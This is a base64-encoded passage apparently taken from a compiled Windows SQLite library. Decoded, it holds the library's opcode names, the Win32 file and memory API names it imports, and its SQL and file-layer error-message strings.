VsbAAAAABCbG9iAAAAAFZhcmlhYmxlAAAAAE1vdmUAAAAAQ29weQAAAABTQ29weQAAAEludENvcHkAUmVzdWx0Um93AAAAQ29sbFNlcQBBZGRJbW0AAFJlYWxBZmZpbml0eQAAAABDYXN0AAAAAFBlcm11dGF0aW9uAENvbXBhcmUASXNUcnVlAABPZmZzZXQAAENvbHVtbgAAQWZmaW5pdHkAAAAATWFrZVJlY29yZAAAQ291bnQAAABSZWFkQ29va2llAABTZXRDb29raWUAAABSZW9wZW5JZHgAAABPcGVuUmVhZAAAAABPcGVuV3JpdGUAAABCaXRBbmQAAEJpdE9yAAAAU2hpZnRMZWZ0AAAAU2hpZnRSaWdodAAAQWRkAFN1YnRyYWN0AAAAAE11bHRpcGx5AAAAAERpdmlkZQAAUmVtYWluZGVyAAAAQ29uY2F0AABPcGVuRHVwAEJpdE5vdAAAT3BlbkF1dG9pbmRleAAAAE9wZW5FcGhlbWVyYWwAAABTdHJpbmc4AFNvcnRlck9wZW4AAFNlcXVlbmNlVGVzdAAAAABPcGVuUHNldWRvAABDbG9zZQAAAENvbHVtbnNVc2VkAFNlZWtIaXQAU2VxdWVuY2UAAAAATmV3Um93aWQAAAAASW5zZXJ0AABEZWxldGUAAFJlc2V0Q291bnQAAFNvcnRlckNvbXBhcmUAAABTb3J0ZXJEYXRhAABSb3dEYXRhAFJvd2lkAAAATnVsbFJvdwBTZWVrRW5kAFNvcnRlckluc2VydAAAAABJZHhJbnNlcnQAAABJZHhEZWxldGUAAABEZWZlcnJlZFNlZWsAAAAASWR4Um93aWQAAAAARGVzdHJveQBDbGVhcgAAAFJlc2V0U29ydGVyAENyZWF0ZUJ0cmVlAFNxbEV4ZWMAUGFyc2VTY2hlbWEATG9hZEFuYWx5c2lzAAAAAERyb3BUYWJsZQAAAERyb3BJbmRleAAAAERyb3BUcmlnZ2VyAEludGVncml0eUNrAFJvd1NldEFkZAAAAFJlYWwAAAAAUGFyYW0AAABGa0NvdW50ZXIAAABNZW1NYXgAAE9mZnNldExpbWl0AEFnZ0ludmVyc2UAAEFnZ1N0ZXAAQWdnU3RlcDEAAAAAQWdnVmFsdWUAAAAAQWdnRmluYWwAAAAARXhwaXJlAABUYWJsZUxvY2sAAABWQmVnaW4AAFZDcmVhdGUAVkRlc3Ryb3kAAAAAVk9wZW4AAABWQ29sdW1uAFZSZW5hbWUAUGFnZWNvdW50AAAATWF4UGdjbnQAAAAAVHJhY2UAAABDdXJzb3JIaW50AABOb29wAAAAAEV4cGxhaW4AQWJvcnRhYmxlAAAAQXJlRmlsZUFwaXNBTlNJAENoYXJMb3dlclcAAENoYXJVcHBlclcAAENsb3NlSGFuZGxlAENyZWF0ZUZpbGVBAENyZWF0ZUZpbGVXAENyZWF0ZUZpbGVNYXBwaW5nQQAAQ3JlYXRlRmlsZU1hcHBpbmdXAABDcmVhdGVNdXRleFcAAAAARGVsZXRlRmlsZUEARGVsZXRlRmlsZVcARmlsZVRpbWVUb0xvY2FsRmlsZVRpbWUARmlsZVRpbWVUb1N5c3RlbVRpbWUAAAAARmx1c2hGaWxlQnVmZmVycwAAAABGb3JtYXRNZXNzYWdlQQAARm9ybWF0TWVzc2FnZVcAAEZyZWVMaWJyYXJ5AEdldEN1cnJlbnRQcm9jZXNzSWQAR2V0RGlza0ZyZWVTcGFjZUEAAABHZXREaXNrRnJlZVNwYWNlVwAAAEdldEZpbGVBdHRyaWJ1dGVzQQAAR2V0RmlsZUF0dHJpYnV0ZXNXAABHZXRGaWxlQXR0cmlidXRlc0V4VwAAAABHZXRGaWxlU2l6ZQBHZXRGdWxsUGF0aE5hbWVBAAAAAEdldEZ1bGxQYXRoTmFtZVcAAAAAR2V0TGFzdEVycm9yAAAAAEdldFByb2NBZGRyZXNzQQBHZXRTeXN0ZW1JbmZvAAAAR2V0U3lzdGVtVGltZQAAAEdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAEdldFRlbXBQYXRoQQAAAABHZXRUZW1wUGF0aFcAAAAAR2V0VGlja0NvdW50AAAAAEdldFZlcnNpb25FeEEAAABHZXRWZXJzaW9uRXhXAAAASGVhcEFsbG9jAAAASGVhcENyZWF0ZQAASGVhcERlc3Ryb3kASGVhcEZyZWUAAAAASGVhcFJlQWxsb2MASGVhcFNpemUAAAAASGVhcFZhbGlkYXRlAAAAAEhlYXBDb21wYWN0AExvYWRMaWJyYXJ5QQAAAABMb2FkTGlicmFyeVcAAAAATG9jYWxGcmVlAAAATG9ja0ZpbGUAAAAATG9ja0ZpbGVFeAAATWFwVmlld09mRmlsZQAAAE11bHRpQnl0ZVRvV2lkZUNoYXIAUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAUmVhZEZpbGUAAAAAU2V0RW5kT2ZGaWxlAAAAAFNldEZpbGVQb2ludGVyAABTbGVlcAAAAFN5c3RlbVRpbWVUb0ZpbGVUaW1lAAAAAFVubG9ja0ZpbGUAAFVubG9ja0ZpbGVFeAAAAABVbm1hcFZpZXdPZkZpbGUAV2lkZUNoYXJUb011bHRpQnl0ZQBXcml0ZUZpbGUAAABDcmVhdGVFdmVudEV4VwAAV2FpdEZvclNpbmdsZU9iamVjdABXYWl0Rm9yU2luZ2xlT2JqZWN0RXgAAABTZXRGaWxlUG9pbnRlckV4AAAAAEdldEZpbGVJbmZvcm1hdGlvbkJ5SGFuZGxlRXgAAAAATWFwVmlld09mRmlsZUZyb21BcHAAAAAAQ3JlYXRlRmlsZTIATG9hZFBhY2thZ2VkTGlicmFyeQBHZXRUaWNrQ291bnQ2NAAAR2V0TmF0aXZlU3lzdGVtSW5mbwBPdXRwdXREZWJ1Z1N0cmluZ0EAAE91dHB1dERlYnVnU3RyaW5nVwAAR2V0UHJvY2Vzc0hlYXAAAENyZWF0ZUZpbGVNYXBwaW5nRnJvbUFwcAAAAABJbnRlcmxvY2tlZENvbXBhcmVFeGNoYW5nZQAAVXVpZENyZWF0ZQAAVXVpZENyZWF0ZVNlcXVlbnRpYWwAAAAARmx1c2hWaWV3T2ZGaWxlACVzAABPc0Vycm9yIDB4JWx4ICglbHUpAG9zX3dpbi5jOiVkOiAoJWx1KSAlcyglcykgLSAlcwAAZGVsYXllZCAlZG1zIGZvciBsb2NrL3NoYXJpbmcgY29uZmxpY3QgYXQgbGluZSAlZAAAAHdpblNlZWtGaWxlAHdpbkNsb3NlAAAAAHdpblJlYWQAd2luV3JpdGUxAAAAd2luV3JpdGUyAAAAd2luVHJ1bmNhdGUxAAAAAHdpblRydW5jYXRlMgAAAAB3aW5TeW5jMQAAAAB3aW5TeW5jMgAAAAB3aW5GaWxlU2l6ZQB3aW5VbmxvY2tSZWFkTG9jawAAAHdpblVubG9jawAAAHdpbkxvY2tTaGFyZWRNZW1vcnkAJXMtc2htAAByZWFkb25seV9zaG0AAAAAd2luT3BlblNobQAAd2luU2htTWFwMQAAd2luU2htTWFwMgAAd2luU2htTWFwMwAAd2luVW5tYXBmaWxlMQAAAHdpblVubWFwZmlsZTIAAAB3aW5NYXBmaWxlMQB3aW5NYXBmaWxlMgBldGlscXNfAHdpbkdldFRlbXBuYW1lMQB3aW5HZXRUZW1wbmFtZTIAd2luR2V0VGVtcG5hbWUzAHdpbkdldFRlbXBuYW1lNAB3aW5HZXRUZW1wbmFtZTUAd2luT3BlbgBwc293AAAAAHdpbkRlbGV0ZQAAAHdpbkFjY2VzcwAAACVzJWMlcwAAd2luRnVsbFBhdGhuYW1lMQAAAAB3aW5GdWxsUGF0aG5hbWUyAAAAAHdpbkZ1bGxQYXRobmFtZTMAAAAAd2luRnVsbFBhdGhuYW1lNAAAAAB3aW4zMgAAAHdpbjMyLWxvbmdwYXRoAAB3aW4zMi1ub25lAAB3aW4zMi1sb25ncGF0aC1ub25lAHJlY292ZXJlZCAlZCBwYWdlcyBmcm9tICVzAAAtam91cm5hbAAAAAAtd2FsAAAAAG5vbG9jawAAaW1tdXRhYmxlAAAAcmVjb3ZlcmVkICVkIGZyYW1lcyBmcm9tIFdBTCBmaWxlICVzAAAAAGNhbm5vdCBsaW1pdCBXQUwgc2l6ZTogJXMAAAA6bWVtb3J5OgAAAABAICAACgAAAGludmFsaWQgcGFnZSBudW1iZXIgJWQAADJuZCByZWZlcmVuY2UgdG8gcGFnZSAlZAAAAABGYWlsZWQgdG8gcmVhZCBwdHJtYXAga2V5PSVkAAAAAEJhZCBwdHIgbWFwIGVudHJ5IGtleT0lZCBleHBlY3RlZD0oJWQsJWQpIGdvdD0oJWQsJWQpAAAAZmFpbGVkIHRvIGdldCBwYWdlICVkAAAAZnJlZWxpc3QgbGVhZiBjb3VudCB0b28gYmlnIG9uIHBhZ2UgJWQAAHNpemUAAAAAb3ZlcmZsb3cgbGlzdCBsZW5ndGgAAAAAJXMgaXMgJWQgYnV0IHNob3VsZCBiZSAlZAAAAFBhZ2UgJWQ6IAAAAHVuYWJsZSB0byBnZXQgdGhlIHBhZ2UuIGVycm9yIGNvZGU9JWQAAABidHJlZUluaXRQYWdlKCkgcmV0dXJucyBlcnJvciBjb2RlICVkAAAAZnJlZSBzcGFjZSBjb3JydXB0aW9uAAAAT24gdHJlZSBwYWdlICVkIGNlbGwgJWQ6IAAAAE9uIHBhZ2UgJWQgYXQgcmlnaHQgY2hpbGQ6IABPZmZzZXQgJWQgb3V0IG9mIHJhbmdlICVkLi4lZAAAAEV4dGVuZHMgb2ZmIGVuZCBvZiBwYWdlAFJvd2lkICVsbGQgb3V0IG9mIG9yZGVyAENoaWxkIHBhZ2UgZGVwdGggZGlmZmVycwAAAABNdWx0aXBsZSB1c2VzIGZvciBieXRlICV1IG9mIHBhZ2UgJWQAAAAARnJhZ21lbnRhdGlvbiBvZiAlZCBieXRlcyByZXBvcnRlZCBhcyAlZCBvbiBwYWdlICVkAE1haW4gZnJlZWxpc3Q6IABtYXggcm9vdHBhZ2UgKCVkKSBkaXNhZ3JlZXMgd2l0aCBoZWFkZXIgKCVkKQAAAABpbmNyZW1lbnRhbF92YWN1dW0gZW5hYmxlZCB3aXRoIGEgbWF4IHJvb3RwYWdlIG9mIHplcm8AAFBhZ2UgJWQgaXMgbmV2ZXIgdXNlZAAAAFBvaW50ZXIgbWFwIHBhZ2UgJWQgaXMgcmVmZXJlbmNlZAAAAHVua25vd24gZGF0YWJhc2UgJXMAZGVzdGluYXRpb24gZGF0YWJhc2UgaXMgaW4gdXNlAABzb3VyY2UgYW5kIGRlc3RpbmF0aW9uIG11c3QgYmUgZGlzdGluY3QAJSEuMTVnAAAtAAAAJXMlcwAAAABrKCVkAAAAAEJJTkFSWQAAQgAAAE4uAAAsJXMlcyVzACkAAAAoJS4yMHMpACVzKCVkKQAAJWQAAChibG9iKQAAdnRhYjolcAAsJWQAXQAAAHByb2dyYW0AJS4yeAAAAAAlcy1talhYWFhYWDlYWHoATUogZGVsZXRlOiAlcwAAAE1KIGNvbGxpZGU6ICVzAAAtbWolMDZYOSUwMlgAAAAARk9SRUlHTiBLRVkgY29uc3RyYWludCBmYWlsZWQAAAAAAAAAbm9uLWRldGVybWluaXN0aWMgZnVuY3Rpb24gaW4gaW5kZXggZXhwcmVzc2lvbiBvciBDSEVDSyBjb25zdHJhaW50AABBUEkgY2FsbGVkIHdpdGggZmluYWxpemVkIHByZXBhcmVkIHN0YXRlbWVudAAAAABBUEkgY2FsbGVkIHdpdGggTlVMTCBwcmVwYXJlZCBzdGF0ZW1lbnQAc3RyaW5nIG9yIGJsb2IgdG9vIGJpZwAAYmluZCBvbiBhIGJ1c3kgcHJlcGFyZWQgc3RhdGVtZW50OiBbJXNdAC0tIAAnJS4qcScAAHplcm9ibG9iKCVkKQAAAAB4JwAAJTAyeAAAAAAnAAAATk9UIE5VTEwAAAAAVU5JUVVFAABDSEVDSwAAAEZPUkVJR04gS0VZACVzIGNvbnN0cmFpbnQgZmFpbGVkAAAAACV6OiAlcwAAYWJvcnQgYXQgJWQgaW4gWyVzXTogJXMAY2Fubm90IG9wZW4gc2F2ZXBvaW50IC0gU1FMIHN0YXRlbWVudHMgaW4gcHJvZ3Jlc3MAAG5vIHN1Y2ggc2F2ZXBvaW50OiAlcwAAAGNhbm5vdCByZWxlYXNlIHNhdmVwb2ludCAtIFNRTCBzdGF0ZW1lbnRzIGluIHByb2dyZXNzAAAAY2Fubm90IGNvbW1pdCB0cmFuc2FjdGlvbiAtIFNRTCBzdGF0ZW1lbnRzIGluIHByb2dyZXNzAABjYW5ub3Qgc3RhcnQgYSB0cmFuc2FjdGlvbiB3aXRoaW4gYSB0cmFuc2FjdGlvbgBjYW5ub3Qgcm9sbGJhY2sgLSBubyB0cmFuc2FjdGlvbiBpcyBhY3RpdmUAAGNhbm5vdCBjb21taXQgLSBubyB0cmFuc2FjdGlvbiBpcyBhY3RpdmUAAAAAZGF0YWJhc2Ugc2NoZW1hIGhhcyBjaGFuZ2VkAHNxbGl0ZV9tYXN0ZXIAAABTRUxFQ1QqRlJPTSIldyIuJXMgV0hFUkUgJXMgT1JERVIgQlkgcm93aWQAAHRvbyBtYW55IGxldmVscyBvZiB0cmlnZ2VyIHJlY3Vyc2lvbgAAAABpbnRvAAAAAG91dCBvZgAAY2Fubm90IGNoYW5nZSAlcyB3YWwgbW9kZSBmcm9tIHdpdGhpbiBhIHRyYW5zYWN0aW9uAC0tICVzAAAAc3RhdGVtZW50IGFib3J0cyBhdCAlZDogWyVzXSAlcwBvdXQgb2YgbWVtb3J5AAAAbnVsbAAAAAByZWFsAAAAAGludGVnZXIAY2Fubm90IG9wZW4gdmFsdWUgb2YgdHlwZSAlcwAAAABubyBzdWNoIHJvd2lkOiAlbGxkAGNhbm5vdCBvcGVuIHZpcnR1YWwgdGFibGU6ICVzAAAAY2Fubm90IG9wZW4gdGFibGUgd2l0aG91dCByb3dpZDogJXMAY2Fubm90IG9wZW4gdmlldzogJXMAAAAAbm8gc3VjaCBjb2x1bW46ICIlcyIAAAAAZm9yZWlnbiBrZXkAaW5kZXhlZABjYW5ub3Qgb3BlbiAlcyBjb2x1bW4gZm9yIHdyaXRpbmcAAABuZXcAb2xkAGV4Y2x1ZGVkAAAAAG1pc3VzZSBvZiBhbGlhc2VkIGFnZ3JlZ2F0ZSAlcwAAbWlzdXNlIG9mIGFsaWFzZWQgd2luZG93IGZ1bmN0aW9uICVzAAAAAHJvdyB2YWx1ZSBtaXN1c2VkAAAAZG91YmxlLXF1b3RlZCBzdHJpbmcgbGl0ZXJhbDogIiV3IgAAbm8gc3VjaCBjb2x1bW4AAGFtYmlndW91cyBjb2x1bW4gbmFtZQAAACVzOiAlcy4lcy4lcwAAAAAlczogJXMuJXMAAAAlczogJXMAAHBhcnRpYWwgaW5kZXggV0hFUkUgY2xhdXNlcwBpbmRleCBleHByZXNzaW9ucwAAAENIRUNLIGNvbnN0cmFpbnRzAAAAJXMgcHJvaGliaXRlZCBpbiAlcwB0aGUgIi4iIG9wZXJhdG9yAAAAAAAAAABzZWNvbmQgYXJndW1lbnQgdG8gbGlrZWxpaG9vZCgpIG11c3QgYmUgYSBjb25zdGFudCBiZXR3ZWVuIDAuMCBhbmQgMS4wAABub3QgYXV0aG9yaXplZCB0byB1c2UgZnVuY3Rpb246ICVzAABub24tZGV0ZXJtaW5pc3RpYyBmdW5jdGlvbnMAJXMoKSBwcm9oaWJpdGVkIGluIHRyaWdnZXJzIGFuZCB2aWV3cwAAACUuKnMoKSBtYXkgbm90IGJlIHVzZWQgYXMgYSB3aW5kb3cgZnVuY3Rpb24Ad2luZG93AABhZ2dyZWdhdGUAAABtaXN1c2Ugb2YgJXMgZnVuY3Rpb24gJS4qcygpAAAAAG5vIHN1Y2ggZnVuY3Rpb246ICUuKnMAAHdyb25nIG51bWJlciBvZiBhcmd1bWVudHMgdG8gZnVuY3Rpb24gJS4qcygpAAAAAEZJTFRFUiBtYXkgbm90IGJlIHVzZWQgd2l0aCBub24tYWdncmVnYXRlICUuKnMoKQAAAABzdWJxdWVyaWVzAABwYXJhbWV0ZXJzAAAlciAlcyBCWSB0ZXJtIG91dCBvZiByYW5nZSAtIHNob3VsZCBiZSBiZXR3ZWVuIDEgYW5kICVkAHRvbyBtYW55IHRlcm1zIGluIE9SREVSIEJZIGNsYXVzZQAAAE9SREVSAAAAJXIgT1JERVIgQlkgdGVybSBkb2VzIG5vdCBtYXRjaCBhbnkgY29sdW1uIGluIHRoZSByZXN1bHQgc2V0AAAAAHRvbyBtYW55IHRlcm1zIGluICVzIEJZIGNsYXVzZQAAYSBHUk9VUCBCWSBjbGF1c2UgaXMgcmVxdWlyZWQgYmVmb3JlIEhBVklORwBHUk9VUAAAAGFnZ3JlZ2F0ZSBmdW5jdGlvbnMgYXJlIG5vdCBhbGxvd2VkIGluIHRoZSBHUk9VUCBCWSBjbGF1c2UAADAAAAB0b28gbWFueSBhcmd1bWVudHMgb24gZnVuY3Rpb24gJVQAAAB2YXJpYWJsZSBudW1iZXIgbXVzdCBiZSBiZXR3ZWVuID8xIGFuZCA/JWQAAHRvbyBtYW55IFNRTCB2YXJpYWJsZXMAACVkIGNvbHVtbnMgYXNzaWduZWQgJWQgdmFsdWVzAAAAdG9vIG1hbnkgY29sdW1ucyBpbiAlcwAAdHJ1ZQAAAABmYWxzZQAAAF9ST1dJRF8AUk9XSUQAAABPSUQAVVNJTkcgUk9XSUQgU0VBUkNIIE9OIFRBQkxFICVzIEZPUiBJTi1PUEVSQVRPUgAAVVNJTkcgSU5ERVggJXMgRk9SIElOLU9QRVJBVE9SAABzdWItc2VsZWN0IHJldHVybnMgJWQgY29sdW1ucyAtIGV4cGVjdGVkICVkAFJFVVNFIExJU1QgU1VCUVVFUlkgJWQAAENPUlJFTEFURUQgACVzTElTVCBTVUJRVUVSWSAlZAAAUkVVU0UgU1VCUVVFUlkgJWQAAAAlc1NDQUxBUiBTVUJRVUVSWSAlZAAAAAAxAAAARQAAADB4AABoZXggbGl0ZXJhbCB0b28gYmlnOiAlcyVzAAAAbWlzdXNlIG9mIGFnZ3JlZ2F0ZTogJXMoKQAAAHVua25vd24gZnVuY3Rpb246ICVzKCkAAFJBSVNFKCkgbWF5IG9ubHkgYmUgdXNlZCB3aXRoaW4gYSB0cmlnZ2VyLXByb2dyYW0AAABzcWxpdGVfAHRhYmxlICVzIG1heSBub3QgYmUgYWx0ZXJlZAAAAAAAU0VMRUNUIDEgRlJPTSAiJXciLiVzIFdIRVJFIG5hbWUgTk9UIExJS0UgJ3NxbGl0ZVhfJSUnIEVTQ0FQRSAnWCcgQU5EIHNxbCBOT1QgTElLRSAnY3JlYXRlIHZpcnR1YWwlJScgQU5EIHNxbGl0ZV9yZW5hbWVfdGVzdCglUSwgc3FsLCB0eXBlLCBuYW1lLCAlZCk9TlVMTCAAAAAAAFNFTEVDVCAxIEZST00gdGVtcC4lcyBXSEVSRSBuYW1lIE5PVCBMSUtFICdzcWxpdGVYXyUlJyBFU0NBUEUgJ1gnIEFORCBzcWwgTk9UIExJS0UgJ2NyZWF0ZSB2aXJ0dWFsJSUnIEFORCBzcWxpdGVfcmVuYW1lX3Rlc3QoJVEsIHNxbCwgdHlwZSwgbmFtZSwgMSk9TlVMTCAAAHRoZXJlIGlzIGFscmVhZHkgYW5vdGhlciB0YWJsZSBvciBpbmRleCB3aXRoIHRoaXMgbmFtZTogJXMAAHRhYmxlAAAAdmlldyAlcyBtYXkgbm90IGJlIGFsdGVyZWQAAAAAAABVUERBVEUgIiV3Ii4lcyBTRVQgc3FsID0gc3FsaXRlX3JlbmFtZV90YWJsZSglUSwgdHlwZSwgbmFtZSwgc3FsLCAlUSwgJVEsICVkKSBXSEVSRSAodHlwZSE9J2luZGV4JyBPUiB0YmxfbmFtZT0lUSBDT0xMQVRFIG5vY2FzZSlBTkQgICBuYW1lIE5PVCBMSUtFICdzcWxpdGVYXyUlJyBFU0NBUEUgJ1gnAAAAAFVQREFURSAlUS4lcyBTRVQgdGJsX25hbWUgPSAlUSwgbmFtZSA9IENBU0UgV0hFTiB0eXBlPSd0YWJsZScgVEhFTiAlUSBXSEVOIG5hbWUgTElLRSAnc3FsaXRlWF9hdXRvaW5kZXglJScgRVNDQVBFICdYJyAgICAgIEFORCB0eXBlPSdpbmRleCcgVEhFTiAnc3FsaXRlX2F1dG9pbmRleF8nIHx8ICVRIHx8IHN1YnN0cihuYW1lLCVkKzE4KSBFTFNFIG5hbWUgRU5EIFdIRVJFIHRibF9uYW1lPSVRIENPTExBVEUgbm9jYXNlIEFORCAodHlwZT0ndGFibGUnIE9SIHR5cGU9J2luZGV4JyBPUiB0eXBlPSd0cmlnZ2VyJyk7AAAAc3FsaXRlX3NlcXVlbmNlAFVQREFURSAiJXciLnNxbGl0ZV9zZXF1ZW5jZSBzZXQgbmFtZSA9ICVRIFdIRVJFIG5hbWUgPSAlUQAAAAAAAABVUERBVEUgc3FsaXRlX3RlbXBfbWFzdGVyIFNFVCBzcWwgPSBzcWxpdGVfcmVuYW1lX3RhYmxlKCVRLCB0eXBlLCBuYW1lLCBzcWwsICVRLCAlUSwgMSksIHRibF9uYW1lID0gQ0FTRSBXSEVOIHRibF9uYW1lPSVRIENPTExBVEUgbm9jYXNlIEFORCAgICAgICAgICAgc3FsaXRlX3JlbmFtZV90ZXN0KCVRLCBzcWwsIHR5cGUsIG5hbWUsIDEpIFRIRU4gJVEgRUxTRSB0YmxfbmFtZSBFTkQgV0hFUkUgdHlwZSBJTiAoJ3ZpZXcnLCAndHJpZ2dlcicpAAAAQ2Fubm90IGFkZCBhIFBSSU1BUlkgS0VZIGNvbHVtbgBDYW5ub3QgYWRkIGEgVU5JUVVFIGNvbHVtbgAAQ2Fubm90IGFkZCBhIFJFRkVSRU5DRVMgY29sdW1uIHdpdGggbm9uLU5VTEwgZGVmYXVsdCB2YWx1ZQAAQ2Fubm90IGFkZCBhIE5PVCBOVUxMIGNvbHVtbiB3aXRoIGRlZmF1bHQgdmFsdWUgTlVMTAAAAABDYW5ub3QgYWRkIGEgY29sdW1uIHdpdGggbm9uLWNvbnN0YW50IGRlZmF1bHQAAABVUERBVEUgIiV3Ii4lcyBTRVQgc3FsID0gc3Vic3RyKHNxbCwxLCVkKSB8fCAnLCAnIHx8ICVRIHx8IHN1YnN0cihzcWwsJWQpIFdIRVJFIHR5cGUgPSAndGFibGUnIEFORCBuYW1lID0gJVEAAAAAdmlydHVhbCB0YWJsZXMgbWF5IG5vdCBiZSBhbHRlcmVkAAAAQ2Fubm90IGFkZCBhIGNvbHVtbiB0byBhIHZpZXcAAABzcWxpdGVfYWx0ZXJ0YWJfJXMAAHZpZXcAAAAAdmlydHVhbCB0YWJsZQAAAGNhbm5vdCByZW5hbWUgY29sdW1ucyBvZiAlcyAiJXMiAAAAAAAAAABVUERBVEUgIiV3Ii4lcyBTRVQgc3FsID0gc3FsaXRlX3JlbmFtZV9jb2x1bW4oc3FsLCB0eXBlLCBuYW1lLCAlUSwgJVEsICVkLCAlUSwgJWQsICVkKSBXSEVSRSBuYW1lIE5PVCBMSUtFICdzcWxpdGVYXyUlJyBFU0NBUEUgJ1gnICBBTkQgKHR5cGUgIT0gJ2luZGV4JyBPUiB0YmxfbmFtZSA9ICVRKSBBTkQgc3FsIE5PVCBMSUtFICdjcmVhdGUgdmlydHVhbCUlJwAAVVBEQVRFIHRlbXAuJXMgU0VUIHNxbCA9IHNxbGl0ZV9yZW5hbWVfY29sdW1uKHNxbCwgdHlwZSwgbmFtZSwgJVEsICVRLCAlZCwgJVEsICVkLCAxKSBXSEVSRSB0eXBlIElOICgndHJpZ2dlcicsICd2aWV3JykAIGFmdGVyIHJlbmFtZQAAAGVycm9yIGluICVzICVzJXM6ICVzAAAAACIldyIAAAAAc3FsaXRlX3JlbmFtZV9jb2x1bW4AAAAAc3FsaXRlX3JlbmFtZV90YWJsZQBzcWxpdGVfcmVuYW1lX3Rlc3QAAHNxbGl0ZV9zdGF0MQAAAAB0YmwsaWR4LHN0YXQAAAAAc3FsaXRlX3N0YXQ0AAAAAHNxbGl0ZV9zdGF0MwAAAABDUkVBVEUgVEFCTEUgJVEuJXMoJXMpAABERUxFVEUgRlJPTSAlUS4lcyBXSEVSRSAlcz0lUQAAAHN0YXRfaW5pdAAAAHN0YXRfcHVzaAAAACVsbHUAAAAAICVsbHUAAABzdGF0X2dldAAAAABzcWxpdGVcXyUAAABCQkIAaWR4AHRibAB1bm9yZGVyZWQqAABzej1bMC05XSoAAABub3NraXBzY2FuKgBTRUxFQ1QgdGJsLGlkeCxzdGF0IEZST00gJVEuc3FsaXRlX3N0YXQxAAAAAHRvbyBtYW55IGF0dGFjaGVkIGRhdGFiYXNlcyAtIG1heCAlZAAAAABkYXRhYmFzZSAlcyBpcyBhbHJlYWR5IGluIHVzZQAAAGRhdGFiYXNlIGlzIGFscmVhZHkgYXR0YWNoZWQAAAAAAAAAAGF0dGFjaGVkIGRhdGFiYXNlcyBtdXN0IHVzZSB0aGUgc2FtZSB0ZXh0IGVuY29kaW5nIGFzIG1haW4gZGF0YWJhc2UAdW5hYmxlIHRvIG9wZW4gZGF0YWJhc2U6ICVzAG5vIHN1Y2ggZGF0YWJhc2U6ICVzAAAAAGNhbm5vdCBkZXRhY2ggZGF0YWJhc2UgJXMAAABkYXRhYmFzZSAlcyBpcyBsb2NrZWQAAABzcWxpdGVfZGV0YWNoAAAAc3FsaXRlX2F0dGFjaAAAACVzICVUIGNhbm5vdCByZWZlcmVuY2Ugb2JqZWN0cyBpbiBkYXRhYmFzZSAlcwAAACVzIGNhbm5vdCB1c2UgdmFyaWFibGVzAGF1dGhvcml6ZXIgbWFsZnVuY3Rpb24AACVzLiVzAAAAJXMuJXoAAABhY2Nlc3MgdG8gJXogaXMgcHJvaGliaXRlZAAAbm90IGF1dGhvcml6ZWQAAHNxbGl0ZV90ZW1wX21hc3RlcgAAcHJhZ21hXwBubyBzdWNoIHZpZXcAAAAAbm8gc3VjaCB0YWJsZQAAAG1haW4AAAAAY29ycnVwdCBkYXRhYmFzZQAAAAB1bmtub3duIGRhdGFiYXNlICVUAG9iamVjdCBuYW1lIHJlc2VydmVkIGZvciBpbnRlcm5hbCB1c2U6ICVzAAAAdGVtcG9yYXJ5IHRhYmxlIG5hbWUgbXVzdCBiZSB1bnF1YWxpZmllZAAAAAB0YWJsZSAlVCBhbHJlYWR5IGV4aXN0cwB0aGVyZSBpcyBhbHJlYWR5IGFuIGluZGV4IG5hbWVkICVzAAB0b28gbWFueSBjb2x1bW5zIG9uICVzAABkdXBsaWNhdGUgY29sdW1uIG5hbWU6ICVzAAAAZGVmYXVsdCB2YWx1ZSBvZiBjb2x1bW4gWyVzXSBpcyBub3QgY29uc3RhbnQAAAAAdGFibGUgIiVzIiBoYXMgbW9yZSB0aGFuIG9uZSBwcmltYXJ5IGtleQAAAABJTlRFR0VSAEFVVE9JTkNSRU1FTlQgaXMgb25seSBhbGxvd2VkIG9uIGFuIElOVEVHRVIgUFJJTUFSWSBLRVkALAAAAAogIAAsCiAgAAAAAAopAABDUkVBVEUgVEFCTEUgAAAAIFRFWFQAAAAgTlVNAAAAACBJTlQAAAAAIFJFQUwAAABBVVRPSU5DUkVNRU5UIG5vdCBhbGxvd2VkIG9uIFdJVEhPVVQgUk9XSUQgdGFibGVzAAAAUFJJTUFSWSBLRVkgbWlzc2luZyBvbiB0YWJsZSAlcwBUQUJMRQAAAFZJRVcAAAAAQ1JFQVRFICVzICUuKnMAAFVQREFURSAlUS4lcyBTRVQgdHlwZT0nJXMnLCBuYW1lPSVRLCB0YmxfbmFtZT0lUSwgcm9vdHBhZ2U9IyVkLCBzcWw9JVEgV0hFUkUgcm93aWQ9IyVkAABDUkVBVEUgVEFCTEUgJVEuc3FsaXRlX3NlcXVlbmNlKG5hbWUsc2VxKQAAAHRibF9uYW1lPSclcScgQU5EIHR5cGUhPSd0cmlnZ2VyJwAAAHBhcmFtZXRlcnMgYXJlIG5vdCBhbGxvd2VkIGluIHZpZXdzAHZpZXcgJXMgaXMgY2lyY3VsYXJseSBkZWZpbmVkAAAAY29ycnVwdCBzY2hlbWEAAFVQREFURSAlUS4lcyBTRVQgcm9vdHBhZ2U9JWQgV0hFUkUgIyVkIEFORCByb290cGFnZT0jJWQAc3FsaXRlX3N0YXQlZAAAAERFTEVURSBGUk9NICVRLnNxbGl0ZV9zZXF1ZW5jZSBXSEVSRSBuYW1lPSVRAAAAAERFTEVURSBGUk9NICVRLiVzIFdIRVJFIHRibF9uYW1lPSVRIGFuZCB0eXBlIT0ndHJpZ2dlcicAc3RhdAAAAAB0YWJsZSAlcyBtYXkgbm90IGJlIGRyb3BwZWQAdXNlIERST1AgVEFCTEUgdG8gZGVsZXRlIHRhYmxlICVzAAAAdXNlIERST1AgVklFVyB0byBkZWxldGUgdmlldyAlcwBmb3JlaWduIGtleSBvbiAlcyBzaG91bGQgcmVmZXJlbmNlIG9ubHkgb25lIGNvbHVtbiBvZiB0YWJsZSAlVAAAAAAAAG51bWJlciBvZiBjb2x1bW5zIGluIGZvcmVpZ24ga2V5IGRvZXMgbm90IG1hdGNoIHRoZSBudW1iZXIgb2YgY29sdW1ucyBpbiB0aGUgcmVmZXJlbmNlZCB0YWJsZQAAAHVua25vd24gY29sdW1uICIlcyIgaW4gZm9yZWlnbiBrZXkgZGVmaW5pdGlvbgAAAEZJUlNUAAAATEFTVAAAAAB1bnN1cHBvcnRlZCB1c2Ugb2YgTlVMTFMgJXMAaW5kZXgAAABjYW5ub3QgY3JlYXRlIGEgVEVNUCBpbmRleCBvbiBub24tVEVNUCB0YWJsZSAiJXMiAAAAdGFibGUgJXMgbWF5IG5vdCBiZSBpbmRleGVkAHZpZXdzIG1heSBub3QgYmUgaW5kZXhlZAAAAAB2aXJ0dWFsIHRhYmxlcyBtYXkgbm90IGJlIG